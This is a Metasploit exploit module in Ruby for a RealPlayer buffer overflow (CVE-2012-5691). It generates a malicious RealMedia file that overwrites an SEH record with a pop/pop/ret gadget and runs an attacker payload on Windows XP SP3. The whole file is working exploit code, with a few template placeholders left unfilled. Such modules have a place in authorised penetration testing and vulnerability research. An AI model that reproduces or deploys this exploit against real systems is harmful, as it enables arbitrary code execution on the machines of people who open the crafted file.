##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
    #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'RealPlayer BoF 0Day',
            'Description'   => %q{
                    Buffer overflow with RealMedia files vulnerability
                                Affected software: Windows RealPlayer 15.0.6.14 and prior.
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'suto(https://twitter.com/toanphamvan) ',   # Original discovery
                    'trongnguyen0205@gmail.com',    # MSF Module
                ],
            'References'    =>
                [
                    [ 'OSVDB', '<insert OSVDB number here>' ],
                    [ 'CVE', 'CVE-2012-5691' ],
                    [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                    #'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'  => 'win',
            'Payload'   =>
                {
                    'BadChars' => "\x0d", # <change if needed>
                    'DisableNops' => true,
                },

            'Targets'       =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Ret'       =>  0x5acd5121 ,
                            'Offset'    =>  2312
                        }
                    ], # pop ebx # pop esi # ret  - rpap3260.dll
                ],
            'Privileged'    => false,
            #Correct Date Format: "M D Y"
            #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
            'DisclosureDate'    => 'MONTH DAY YEAR',
            'DefaultTarget' => 0))

        register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

    end

    def exploit
        content = "[InternetShortcut]\nURL="
        buffer = "A"*2312
        buffer << generate_seh_record(target.ret)
        buffer << make_nops(30)
        buffer << payload.encoded   #522 bytes of space
        filecontent = content+buffer+"B"*5000
        file_create(filecontent)

    end
end